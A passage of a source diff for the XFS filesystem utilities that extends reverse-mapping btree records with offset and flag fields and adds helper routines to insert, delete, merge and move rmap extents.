oi->oi_owner = owner; + oi->oi_offset = 0; + oi->oi_flags = 0; +} + +static inline void +XFS_RMAP_INO_BMBT_OWNER( + struct xfs_owner_info *oi, + xfs_ino_t ino, + int whichfork) +{ + oi->oi_owner = ino; + oi->oi_offset = 0; + oi->oi_flags = XFS_RMAP_BMBT_BLOCK; + if (whichfork == XFS_ATTR_FORK) + oi->oi_flags |= XFS_RMAP_INO_ATTR_FORK; +} + +static inline void +XFS_RMAP_INO_OWNER( + struct xfs_owner_info *oi, + xfs_ino_t ino, + int whichfork, + xfs_fileoff_t offset) +{ + oi->oi_owner = ino; + oi->oi_offset = offset; + oi->oi_flags = 0; + if (whichfork == XFS_ATTR_FORK) + oi->oi_flags |= XFS_RMAP_INO_ATTR_FORK; +} + +/* * Special owner types. * * Seeing as we only support up to 8EB, we have the upper bit of the owner field @@ -1321,6 +1370,8 @@ typedef __be32 xfs_inobt_ptr_t; #define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ #define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ +#define XFS_RMAP_NON_INODE_OWNER(owner) (!!((owner) & (1ULL << 63))) + /* * Data record structure */ @@ -1328,12 +1379,44 @@ struct xfs_rmap_rec { __be32 rm_startblock; /* extent start block */ __be32 rm_blockcount; /* extent length */ __be64 rm_owner; /* extent owner */ + __be64 rm_offset; /* offset within the owner */ }; +/* + * rmap btree record + * rm_blockcount:31 is the unwritten extent flag (same as l0:63 in bmbt) + * rm_blockcount:0-30 are the extent length + * rm_offset:63 is the attribute fork flag + * rm_offset:62 is the bmbt block flag + * rm_offset:0-61 is the block offset within the inode + */ +#define XFS_RMAP_OFF_ATTR ((__uint64_t)1ULL << 63) +#define XFS_RMAP_OFF_BMBT ((__uint64_t)1ULL << 62) +#define XFS_RMAP_LEN_UNWRITTEN ((xfs_extlen_t)1U << 31) + +#define XFS_RMAP_OFF_MASK ~(XFS_RMAP_OFF_ATTR | XFS_RMAP_OFF_BMBT) +#define XFS_RMAP_LEN_MASK ~XFS_RMAP_LEN_UNWRITTEN + +#define XFS_RMAP_OFF(off) ((off) & XFS_RMAP_OFF_MASK) +#define XFS_RMAP_LEN(len) ((len) & XFS_RMAP_LEN_MASK) + +#define XFS_RMAP_IS_BMBT(off) (!!((off) & XFS_RMAP_OFF_BMBT)) +#define XFS_RMAP_IS_ATTR_FORK(off) (!!((off) & XFS_RMAP_OFF_ATTR)) +#define XFS_RMAP_IS_UNWRITTEN(len) (!!((len) & XFS_RMAP_LEN_UNWRITTEN)) + +#define RMAPBT_STARTBLOCK_BITLEN 32 +#define RMAPBT_EXNTFLAG_BITLEN 1 +#define RMAPBT_BLOCKCOUNT_BITLEN 31 +#define RMAPBT_OWNER_BITLEN 64 +#define RMAPBT_ATTRFLAG_BITLEN 1 +#define RMAPBT_BMBTFLAG_BITLEN 1 +#define RMAPBT_OFFSET_BITLEN 62 + struct xfs_rmap_irec { xfs_agblock_t rm_startblock; /* extent start block */ xfs_extlen_t rm_blockcount; /* extent length */ __uint64_t rm_owner; /* extent owner */ + __uint64_t rm_offset; /* offset within the owner */ }; /* @@ -1343,19 +1426,50 @@ struct xfs_rmap_irec { */ struct xfs_rmap_key { __be32 rm_startblock; /* extent start block */ + __be64 rm_owner; /* extent owner */ + __be64 rm_offset; /* offset within the owner */ }; /* btree pointer type */ typedef __be32 xfs_rmap_ptr_t; -/* - * block numbers in the AG. - */ #define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ XFS_IBT_BLOCK(mp) + 1) +static inline void +xfs_owner_info_unpack( + struct xfs_owner_info *oinfo, + uint64_t *owner, + uint64_t *offset) +{ + __uint64_t r; + + *owner = oinfo->oi_owner; + r = oinfo->oi_offset; + if (oinfo->oi_flags & XFS_RMAP_INO_ATTR_FORK) + r |= XFS_RMAP_OFF_ATTR; + if (oinfo->oi_flags & XFS_RMAP_BMBT_BLOCK) + r |= XFS_RMAP_OFF_BMBT; + *offset = r; +} + +static inline void +xfs_owner_info_pack( + struct xfs_owner_info *oinfo, + uint64_t owner, + uint64_t offset) +{ + oinfo->oi_owner = owner; + oinfo->oi_offset = XFS_RMAP_OFF(offset); + oinfo->oi_flags = 0; + if (XFS_RMAP_IS_ATTR_FORK(offset)) + oinfo->oi_flags |= XFS_RMAP_INO_ATTR_FORK; + if (XFS_RMAP_IS_BMBT(offset)) + oinfo->oi_flags |= XFS_RMAP_BMBT_BLOCK; +} + /* * BMAP Btree format definitions * diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index b22ec2f..2d78962 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -608,6 +608,7 @@ xfs_ialloc_ag_alloc( args.tp = tp; args.mp = tp->t_mountp; args.fsbno = NULLFSBLOCK; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_INODES); #ifdef DEBUG /* randomly do sparse inode allocations */ @@ -615,7 +616,6 @@ xfs_ialloc_ag_alloc( args.mp->m_ialloc_min_blks < args.mp->m_ialloc_blks) do_sparse = prandom_u32() & 1; #endif - args.owner = XFS_RMAP_OWN_INODES; /* * Locking will ensure that we don't have two callers in here @@ -1819,13 +1819,15 @@ xfs_difree_inode_chunk( int nextbit; xfs_agblock_t agbno; int contigblk; + struct xfs_owner_info oinfo; DECLARE_BITMAP(holemask, XFS_INOBT_HOLEMASK_BITS); + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_INODES); if (!xfs_inobt_issparse(rec->ir_holemask)) { /* not sparse, calculate extent info directly */ xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, XFS_AGINO_TO_AGBNO(mp, rec->ir_startino)), - mp->m_ialloc_blks); + mp->m_ialloc_blks, &oinfo); return; } @@ -1869,7 +1871,7 @@ xfs_difree_inode_chunk( ASSERT(agbno % mp->m_sb.sb_spino_align == 0); ASSERT(contigblk % mp->m_sb.sb_spino_align == 0); xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, agbno), - contigblk); + contigblk, &oinfo); /* reset range to current bit and carry on... */ startidx = endidx = nextbit; diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index ffeab1e..1d3b9e7 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -95,7 +95,7 @@ xfs_inobt_alloc_block( memset(&args, 0, sizeof(args)); args.tp = cur->bc_tp; args.mp = cur->bc_mp; - args.owner = XFS_RMAP_OWN_INOBT; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_INOBT); args.fsbno = XFS_AGB_TO_FSB(args.mp, cur->bc_private.a.agno, sbno); args.minlen = 1; args.maxlen = 1; @@ -127,9 +127,11 @@ xfs_inobt_free_block( { xfs_fsblock_t fsbno; int error; + struct xfs_owner_info oinfo; + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_INOBT); fsbno = XFS_DADDR_TO_FSB(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_free_extent(cur->bc_tp, fsbno, 1); + error = xfs_free_extent(cur->bc_tp, fsbno, 1, &oinfo); if (error) return error; diff --git a/libxfs/xfs_rmap.c b/libxfs/xfs_rmap.c index b2a3330..12aac59 100644 --- a/libxfs/xfs_rmap.c +++ b/libxfs/xfs_rmap.c @@ -34,28 +34,49 @@ #include "xfs_trans_space.h" #include "xfs_trace.h" - /* - * Lookup the first record less than or equal to [bno, len] + * Lookup the first record less than or equal to [bno, len, owner, offset] * in the btree given by cur. */ -STATIC int +int xfs_rmap_lookup_le( struct xfs_btree_cur *cur, xfs_agblock_t bno, xfs_extlen_t len, uint64_t owner, + uint64_t offset, int *stat) { cur->bc_rec.r.rm_startblock = bno; cur->bc_rec.r.rm_blockcount = len; cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); } /* + * Lookup the record exactly matching [bno, len, owner, offset] + * in the btree given by cur. + */ +int +xfs_rmap_lookup_eq( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset, + int *stat) +{ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; + return xfs_btree_lookup(cur, XFS_LOOKUP_EQ, stat); +} + +/* * Update the record referred to by cur to the value given - * by [bno, len, ref]. + * by [bno, len, owner, offset]. * This either works (return 0) or gets an EFSCORRUPTED error. */ STATIC int @@ -65,16 +86,79 @@ xfs_rmap_update( { union xfs_btree_rec rec; + trace_xfs_rmapbt_update(cur->bc_mp, cur->bc_private.a.agno, + irec->rm_startblock, irec->rm_blockcount, + irec->rm_owner, irec->rm_offset); + rec.rmap.rm_startblock = cpu_to_be32(irec->rm_startblock); rec.rmap.rm_blockcount = cpu_to_be32(irec->rm_blockcount); rec.rmap.rm_owner = cpu_to_be64(irec->rm_owner); + rec.rmap.rm_offset = cpu_to_be64(irec->rm_offset); return xfs_btree_update(cur, &rec); } +int +xfs_rmapbt_insert( + struct xfs_btree_cur *rcur, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset) +{ + int i; + int error; + + trace_xfs_rmapbt_insert(rcur->bc_mp, rcur->bc_private.a.agno, agbno, + len, owner, offset); + + error = xfs_rmap_lookup_eq(rcur, agbno, len, owner, offset, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 0, done); + + rcur->bc_rec.r.rm_startblock = agbno; + rcur->bc_rec.r.rm_blockcount = len; + rcur->bc_rec.r.rm_owner = owner; + rcur->bc_rec.r.rm_offset = offset; + error = xfs_btree_insert(rcur, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); +done: + return error; +} + +STATIC int +xfs_rmapbt_delete( + struct xfs_btree_cur *rcur, + xfs_agblock_t agbno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset) +{ + int i; + int error; + + trace_xfs_rmapbt_delete(rcur->bc_mp, rcur->bc_private.a.agno, agbno, + len, owner, offset); + + error = xfs_rmap_lookup_eq(rcur, agbno, len, owner, offset, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + + error = xfs_btree_delete(rcur, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); +done: + return error; +} + /* * Get the data from the pointed-to record. */ -STATIC int +int xfs_rmap_get_rec( struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, @@ -90,31 +174,27 @@ xfs_rmap_get_rec( irec->rm_startblock = be32_to_cpu(rec->rmap.rm_startblock); irec->rm_blockcount = be32_to_cpu(rec->rmap.rm_blockcount); irec->rm_owner = be64_to_cpu(rec->rmap.rm_owner); + irec->rm_offset = be64_to_cpu(rec->rmap.rm_offset); return 0; } /* * Find the extent in the rmap btree and remove it. * - * The record we find should always span a range greater than or equal to the - * the extent being freed. This makes the code simple as, in theory, we do not - * have to handle ranges that are split across multiple records as extents that - * result in bmap btree extent merges should also result in rmap btree extent - * merges. The owner field ensures we don't merge extents from different - * structures into the same record, hence this property should always hold true - * if we ensure that the rmap btree supports at least the same size maximum - * extent as the bmap btree (2^21 blocks at present). + * The record we find should always be an exact match for the extent that we're + * looking for, since we insert them into the btree without modification. * - * Complexity: when growing the filesystem, we "free" an extent when growing the - * last AG. This extent is new space and so it is not tracked as used space in - * the btree. The growfs code will pass in an owner of XFS_RMAP_OWN_NULL to - * indicate that it expected that there is no owner of this extent. We verify - * that - the extent lookup result in a record that does not overlap. + * Special Case #1: when growing the filesystem, we "free" an extent when + * growing the last AG. This extent is new space and so it is not tracked as + * used space in the btree. The growfs code will pass in an owner of + * XFS_RMAP_OWN_NULL to indicate that it expected that there is no owner of this + * extent. We verify that - the extent lookup result in a record that does not + * overlap. * - * Complexity #2: EFIs do not record the owner of the extent, so when recovering - * EFIs from the log we pass in XFS_RMAP_OWN_UNKNOWN to tell the rmap btree to - * ignore the owner (i.e. wildcard match) so we don't trigger corruption checks - * during log recovery. + * Special Case #2: EFIs do not record the owner of the extent, so when + * recovering EFIs from the log we pass in XFS_RMAP_OWN_UNKNOWN to tell the rmap + * btree to ignore the owner (i.e. wildcard match) so we don't trigger + * corruption checks during log recovery. */ int xfs_rmap_free( @@ -123,29 +203,32 @@ xfs_rmap_free( xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner) + struct xfs_owner_info *oinfo) { - struct xfs_btree_cur *cur; struct xfs_mount *mp = tp->t_mountp; + struct xfs_btree_cur *cur; struct xfs_rmap_irec ltrec; - int error; + uint64_t ltoff; + int error = 0; int i; + uint64_t owner; + uint64_t offset; - /* - * if rmap btree is not supported, then just return success without - * doing anything. - */ - if (!xfs_sb_version_hasrmapbt(&tp->t_mountp->m_sb)) + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; - trace_xfs_rmap_free_extent(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent(mp, agno, bno, len, oinfo); cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + xfs_owner_info_unpack(oinfo, &owner, &offset); + ASSERT(XFS_RMAP_NON_INODE_OWNER(owner) || XFS_RMAP_IS_BMBT(offset)); + ltoff = ltrec.rm_offset & ~XFS_RMAP_OFF_BMBT; /* - * We always have a left record because there's a static record - * for the AG headers at rm_startblock == 0. + * We should always have a left record because there's a static record + * for the AG headers at rm_startblock == 0 created by mkfs/growfs that + * will not ever be removed from the tree. */ - error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + error = xfs_rmap_lookup_le(cur, bno, len, owner, offset, &i); if (error) goto out_error; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); @@ -155,17 +238,18 @@ xfs_rmap_free( goto out_error; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); - /* special growfs case - bno is beyond last record */ + /* + * For growfs, the incoming extent must be beyond the left record we + * just found as it is new space and won't be used by anyone. This is + * just a corruption check as we don't actually do anything with this + * extent. + */ if (owner == XFS_RMAP_OWN_NULL) { XFS_WANT_CORRUPTED_GOTO(mp, bno > ltrec.rm_startblock + ltrec.rm_blockcount, out_error); goto out_done; } - /* make sure the extent we found covers the entire freeing range. */ - XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno, out_error); - XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_blockcount >= len, out_error); - /* if (owner != ltrec.rm_owner || bno > ltrec.rm_startblock + ltrec.rm_blockcount) @@ -173,16 +257,36 @@ xfs_rmap_free( //printk("rmfree ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", // agno, bno, len, owner, ltrec.rm_startblock, // ltrec.rm_blockcount, ltrec.rm_owner); - XFS_WANT_CORRUPTED_GOTO(mp, bno <= ltrec.rm_startblock + ltrec.rm_blockcount, - out_error); + + /* make sure the extent we found covers the entire freeing range. */ + XFS_WANT_CORRUPTED_GOTO(mp, !XFS_RMAP_IS_UNWRITTEN(ltrec.rm_blockcount), + out_error); + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno && + ltrec.rm_startblock + XFS_RMAP_LEN(ltrec.rm_blockcount) >= + bno + len, out_error); + + /* make sure the owner matches what we expect to find in the tree */ XFS_WANT_CORRUPTED_GOTO(mp, owner == ltrec.rm_owner || - (owner < XFS_RMAP_OWN_NULL && - owner >= XFS_RMAP_OWN_MIN), out_error); + XFS_RMAP_NON_INODE_OWNER(owner), out_error); + + /* check the offset, if necessary */ + if (!XFS_RMAP_NON_INODE_OWNER(owner)) { + if (XFS_RMAP_IS_BMBT(offset)) { + XFS_WANT_CORRUPTED_GOTO(mp, + XFS_RMAP_IS_BMBT(ltrec.rm_offset), + out_error); + } else { + XFS_WANT_CORRUPTED_GOTO(mp, + ltrec.rm_offset <= offset, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, + offset <= ltoff + ltrec.rm_blockcount, + out_error); + } + } - /* exact match is easy */ if (ltrec.rm_startblock == bno && ltrec.rm_blockcount == len) { //printk("remove exact\n"); - /* remove extent from rmap tree */ + /* exact match, simply remove the record from rmap tree */ error = xfs_btree_delete(cur, &i); if (error) goto out_error; @@ -190,7 +294,8 @@ xfs_rmap_free( } else if (ltrec.rm_startblock == bno) { //printk("remove left\n"); /* - * overlap left hand side of extent + * overlap left hand side of extent: move the start, trim the + * length and update the current record. * * ltbno ltlen * Orig: |oooooooooooooooooooo| @@ -206,7 +311,8 @@ xfs_rmap_free( } else if (ltrec.rm_startblock + ltrec.rm_blockcount == bno + len) { //printk("remove right\n"); /* - * overlap right hand side of extent + * overlap right hand side of extent: trim the length and update + * the current record. * * ltbno ltlen * Orig: |oooooooooooooooooooo| @@ -219,8 +325,12 @@ xfs_rmap_free( if (error) goto out_error; } else { + /* - * overlap middle of extent + * overlap middle of extent: trim the length of the existing + * record to the length of the new left-extent size, increment + * the insertion position so we can insert a new record + * containing the remaining right-extent space. * * ltbno ltlen * Orig: |oooooooooooooooooooo| @@ -231,7 +341,7 @@ xfs_rmap_free( xfs_extlen_t orig_len = ltrec.rm_blockcount; //printk("remove middle\n"); - ltrec.rm_blockcount = bno - ltrec.rm_startblock;; + ltrec.rm_blockcount = bno - ltrec.rm_startblock; error = xfs_rmap_update(cur, <rec); if (error) goto out_error; @@ -244,33 +354,52 @@ xfs_rmap_free( cur->bc_rec.r.rm_blockcount = orig_len - len - ltrec.rm_blockcount; cur->bc_rec.r.rm_owner = ltrec.rm_owner; + cur->bc_rec.r.rm_offset = offset; error = xfs_btree_insert(cur, &i); if (error) goto out_error; } out_done: - trace_xfs_rmap_free_extent_done(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent_done(mp, agno, bno, len, oinfo); xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; out_error: - trace_xfs_rmap_free_extent_error(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent_error(mp, agno, bno, len, oinfo); xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); return error; } /* - * When we allocate a new block, the first thing we do is add a reference to the - * extent in the rmap btree. This is how we track the owner of the extent and th - * enumber of references to it. - * - * Initially, we do not have shared extents, and so the extent can only have a - * single reference count and owner. This makes the initial implementation easy, - * but does not allow us to use the rmap tree for tracking reflink shared files. - * Hence the initial implementation is simply a lookup to find the place to - * insert (and checking we don't find a duplicate/overlap) and then insertng the - * appropriate record. + * A mergeable rmap should have the same owner, cannot be unwritten, and + * must be a bmbt rmap if we're asking about a bmbt rmap. + */ +static bool +is_mergeable_rmap( + struct xfs_rmap_irec *irec, + uint64_t owner, + uint64_t offset) +{ + if (irec->rm_owner == XFS_RMAP_OWN_NULL) + return false; + if (irec->rm_owner != owner) + return false; + if (XFS_RMAP_IS_UNWRITTEN(irec->rm_blockcount)) + return false; + if (XFS_RMAP_IS_ATTR_FORK(offset) ^ + XFS_RMAP_IS_ATTR_FORK(irec->rm_offset)) + return false; + if (XFS_RMAP_IS_BMBT(offset) ^ XFS_RMAP_IS_BMBT(irec->rm_offset)) + return false; + return true; +} + +/* + * When we allocate a new block, the first thing we do is add a reference to + * the extent in the rmap btree. This takes the form of a [agbno, length, + * owner, offset] record. Flags are encoded in the high bits of the offset + * field. */ int xfs_rmap_alloc( @@ -279,31 +408,32 @@ xfs_rmap_alloc( xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner) + struct xfs_owner_info *oinfo) { - struct xfs_btree_cur *cur; struct xfs_mount *mp = tp->t_mountp; + struct xfs_btree_cur *cur; struct xfs_rmap_irec ltrec; struct xfs_rmap_irec gtrec; int have_gt; - int error; + int error = 0; int i; + uint64_t owner; + uint64_t offset; - /* - * if rmap btree is not supported, then just return success without - * doing anything. - */ - if (!xfs_sb_version_hasrmapbt(&tp->t_mountp->m_sb)) + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; - trace_xfs_rmap_alloc_extent(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent(mp, agno, bno, len, oinfo); cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + xfs_owner_info_unpack(oinfo, &owner, &offset); + ASSERT(XFS_RMAP_NON_INODE_OWNER(owner) || XFS_RMAP_IS_BMBT(offset)); /* - * chekc to see if we find an existing record for this extent rather - * than just the location for insert. + * For the initial lookup, look for and exact match or the left-adjacent + * record for our insertion point. This will also give us the record for + * start block contiguity tests. */ - error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + error = xfs_rmap_lookup_le(cur, bno, len, owner, offset, &i); if (error) goto out_error; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); @@ -315,10 +445,18 @@ xfs_rmap_alloc( //printk("rmalloc ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", // agno, bno, len, owner, ltrec.rm_startblock, // ltrec.rm_blockcount, ltrec.rm_owner); + if (!is_mergeable_rmap(<rec, owner, offset)) + ltrec.rm_owner = XFS_RMAP_OWN_NULL; - XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock + ltrec.rm_blockcount <= bno, - out_error); + XFS_WANT_CORRUPTED_GOTO(mp, + ltrec.rm_owner == XFS_RMAP_OWN_NULL || + ltrec.rm_startblock + ltrec.rm_blockcount <= bno, out_error); + /* + * Increment the cursor to see if we have a right-adjacent record to our + * insertion point. This will give us the record for end block + * contiguity tests. + */ error = xfs_btree_increment(cur, 0, &have_gt); if (error) goto out_error; @@ -335,12 +473,17 @@ xfs_rmap_alloc( } else { gtrec.rm_owner = XFS_RMAP_OWN_NULL; } + if (!is_mergeable_rmap(>rec, owner, offset)) + gtrec.rm_owner = XFS_RMAP_OWN_NULL; - /* cursor currently points one record past ltrec */ + /* + * Note: cursor currently points one record to the right of ltrec, even + * if there is no record in the tree to the right. + */ if (ltrec.rm_owner == owner && ltrec.rm_startblock + ltrec.rm_blockcount == bno) { /* - * left edge contiguous + * left edge contiguous, merge into left record. * * ltbno ltlen * orig: |ooooooooo| @@ -354,7 +497,8 @@ xfs_rmap_alloc( bno + len == gtrec.rm_startblock) { //printk("add middle\n"); /* - * right edge also contiguous + * right edge also contiguous, delete right record + * and merge into left record. * * ltbno ltlen gtbno gtlen * orig: |ooooooooo| |ooooooooo| @@ -368,6 +512,7 @@ xfs_rmap_alloc( XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); } + /* point the cursor back to the left record and update */ error = xfs_btree_decrement(cur, 0, &have_gt); if (error) goto out_error; @@ -377,7 +522,7 @@ xfs_rmap_alloc( } else if (gtrec.rm_owner == owner && bno + len == gtrec.rm_startblock) { /* - * right edge contiguous + * right edge contiguous, merge into right record. * * gtbno gtlen * Orig: |ooooooooo| @@ -393,21 +538,322 @@ xfs_rmap_alloc( goto out_error; } else { //printk("add no match\n"); - /* no contiguous edge with identical owner */ + /* + * no contiguous edge with identical owner, insert + * new record at current cursor position. + */ cur->bc_rec.r.rm_startblock = bno; cur->bc_rec.r.rm_blockcount = len; cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; error = xfs_btree_insert(cur, &i); if (error) goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); } - trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, oinfo); xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); return 0; out_error: - trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, oinfo); xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); return error; } + +/* Encode logical offset for a rmapbt record */ +STATIC uint64_t +b2r_off( + int whichfork, + xfs_fileoff_t off) +{ + uint64_t x; + + x = off; + if (whichfork == XFS_ATTR_FORK) + x |= XFS_RMAP_OFF_ATTR; + return x; +} + +/* Encode blockcount for a rmapbt record */ +STATIC xfs_extlen_t +b2r_len( + struct xfs_bmbt_irec *irec) +{ + xfs_extlen_t x; + + x = irec->br_blockcount; + if (irec->br_state == XFS_EXT_UNWRITTEN) + x |= XFS_RMAP_LEN_UNWRITTEN; + return x; +} + +/* Combine two adjacent rmap extents */ +int +xfs_rmap_combine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *LEFT, + struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_combine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, LEFT, PREV, RIGHT); + + /* Delete right rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, RIGHT->br_startblock), + b2r_len(RIGHT), ino, + b2r_off(whichfork, RIGHT->br_startoff)); + if (error) + goto done; + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge left rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, + PREV->br_blockcount + RIGHT->br_blockcount); +done: + return error; +} + +/* Extend a left rmap extent */ +int +xfs_rmap_lcombine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *LEFT, + struct xfs_bmbt_irec *PREV) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_lcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, LEFT, PREV); + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge left rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, PREV->br_blockcount); +done: + return error; +} + +/* Extend a right rmap extent */ +int +xfs_rmap_rcombine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV, + struct xfs_bmbt_irec *new) +{ + int error; + + if (!rcur) + return 0; + ASSERT(PREV->br_startoff == new->br_startoff); + + trace_xfs_rmap_rcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, RIGHT, PREV); + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge right rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, RIGHT, + -PREV->br_blockcount); +done: + return error; +} + +/* Insert a rmap extent */ +int +xfs_rmap_insert( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *new) +{ + if (!rcur) + return 0; + + trace_xfs_rmap_insert(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, new); + + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), + b2r_len(new), ino, + b2r_off(whichfork, new->br_startoff)); +} + +/* Delete a rmap extent */ +int +xfs_rmap_delete( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *new) +{ + if (!rcur) + return 0; + + trace_xfs_rmap_delete(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, new); + + return xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), + b2r_len(new), ino, + b2r_off(whichfork, new->br_startoff)); +} + +/* Change the start of an rmap */ +int +xfs_rmap_move( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long start_adj) +{ + int error; + struct xfs_bmbt_irec irec; + + if (!rcur) + return 0; + + trace_xfs_rmap_move(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, start_adj); + + /* Delete prev rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + + /* Re-add rmap with new start */ + irec = *PREV; + irec.br_startblock += start_adj; + irec.br_startoff += start_adj; + irec.br_blockcount -= start_adj; + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, irec.br_startblock), + b2r_len(&irec), ino, + b2r_off(whichfork, irec.br_startoff)); +done: + return error; +} + +/* Change the logical offset of an rmap */ +int +xfs_rmap_slide( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long start_adj) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_slide(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, start_adj); + + /* Delete prev rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), 